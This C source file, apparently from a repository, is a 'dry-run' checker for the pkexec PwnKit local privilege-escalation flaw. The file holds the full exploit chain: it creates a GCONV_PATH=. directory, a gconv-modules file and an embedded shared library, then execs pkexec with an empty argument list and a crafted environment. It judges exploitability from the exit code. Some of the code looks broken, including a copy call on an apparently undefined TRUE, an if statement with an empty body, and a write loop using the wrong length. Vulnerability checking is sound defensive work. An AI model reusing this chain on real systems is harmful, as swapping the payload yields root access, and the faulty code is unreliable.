a830b4eb51
- -fPIC compilation flag - Do not use for in C99 mode
173 lines
3.0 KiB
C
173 lines
3.0 KiB
C
#include <stdio.h>
|
|
#include <fcntl.h>
|
|
#include <dirent.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include "pwnkit-dry-run.so_data.h"
|
|
|
|
#define TESTDIR "/tmp/pwnkit-dry-run"
|
|
|
|
#define EXPLOITABLE_OR_ERROR 1
|
|
|
|
static int removedir(const char *path)
|
|
{
|
|
struct dirent *entry;
|
|
DIR *directory = opendir(path);
|
|
|
|
char filename[PATH_MAX + 1];
|
|
if (directory == NULL)
|
|
return -1;
|
|
|
|
while ((entry = readdir(directory)) != NULL) {
|
|
if (!strcmp(".", entry->d_name))
|
|
continue;
|
|
if (!strcmp("..", entry->d_name))
|
|
continue;
|
|
|
|
snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name);
|
|
|
|
if (entry->d_type == DT_DIR)
|
|
removedir(filename);
|
|
else
|
|
remove(filename);
|
|
}
|
|
closedir(directory);
|
|
|
|
return remove(path);
|
|
}
|
|
|
|
static int copyfile(const char *input, const char *output)
|
|
{
|
|
int ret = 0;
|
|
int ofd = 0;
|
|
FILE *in, *out;
|
|
unsigned char buffer[4096];
|
|
in = fopen(input, "rb");
|
|
if (in == NULL)
|
|
return -1;
|
|
|
|
ofd = open(output, O_WRONLY | O_CREAT, 0700);
|
|
if (ofd < 0)
|
|
return -1;
|
|
|
|
out = fdopen(ofd, "wb");
|
|
if (out == NULL)
|
|
return -1;
|
|
|
|
while (!feof(in) && !ferror(in) && !ferror(out)) {
|
|
size_t i = 0;
|
|
int r = fread(buffer, 1, sizeof(buffer), in);
|
|
for (i = 0 ; i < r && !ferror(in) && !ferror(out);) {
|
|
int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out);
|
|
i += w;
|
|
}
|
|
}
|
|
|
|
ret = ferror(in) || ferror(out);
|
|
|
|
fclose(in);
|
|
fclose(out);
|
|
|
|
return ret;
|
|
}
|
|
|
|
static int createandwritefile(const char *dest, const char *content)
|
|
{
|
|
FILE *f = fopen(dest, "w");
|
|
if (f == NULL)
|
|
return -1;
|
|
|
|
fprintf(f, "%s\n", content);
|
|
fclose(f);
|
|
return 0;
|
|
}
|
|
|
|
static int createsharedobjectpwnkit(const char *outputname)
|
|
{
|
|
int ret = 0;
|
|
int wrote = 0;
|
|
int fd;
|
|
FILE *f;
|
|
|
|
fd = open(outputname, O_WRONLY | O_CREAT, 0700);
|
|
if (fd < 0)
|
|
return -1;
|
|
|
|
f = fdopen(fd, "wb");
|
|
if (f == NULL)
|
|
return -1;
|
|
|
|
while (wrote < pwnkit_dry_run_so_len) {
|
|
int w = fwrite(pwnkit_dry_run_so + wrote, 1,
|
|
pwnkit_dry_run_so_len - wrote, f);
|
|
wrote += w;
|
|
}
|
|
|
|
ret = ferror(f);
|
|
fclose(f);
|
|
|
|
return ret;
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
pid_t p;
|
|
int wstatus = 0;
|
|
int exitcode = EXPLOITABLE_OR_ERROR;
|
|
char * const args[] = {
|
|
NULL
|
|
};
|
|
char * const environ[] = {
|
|
"pwnkit.so:.",
|
|
"PATH=GCONV_PATH=.",
|
|
"SHELL=/lol/i/do/not/exists",
|
|
"CHARSET=PWNKIT",
|
|
"GIO_USE_VFS=",
|
|
NULL
|
|
};
|
|
|
|
mkdir(TESTDIR, 0750);
|
|
|
|
if (chdir(TESTDIR) != 0)
|
|
return EXPLOITABLE_OR_ERROR;
|
|
|
|
mkdir("GCONV_PATH=.", 0750);
|
|
|
|
if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0)
|
|
return EXPLOITABLE_OR_ERROR;
|
|
|
|
if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0)
|
|
return EXPLOITABLE_OR_ERROR;
|
|
|
|
if (createsharedobjectpwnkit("pwnkit.so"));
|
|
|
|
p = fork();
|
|
switch (p) {
|
|
case -1:
|
|
perror("fork");
|
|
break;
|
|
|
|
case 0:
|
|
return execve("/usr/bin/pkexec", args, environ);
|
|
|
|
default:
|
|
wait(&wstatus);
|
|
while (!WIFEXITED(wstatus))
|
|
wait(&wstatus);
|
|
exitcode = WEXITSTATUS(wstatus);
|
|
break;
|
|
}
|
|
|
|
removedir(TESTDIR);
|
|
|
|
if (exitcode != 0)
|
|
return 1 - EXPLOITABLE_OR_ERROR;
|
|
|
|
return EXPLOITABLE_OR_ERROR;
|
|
}
|
|
|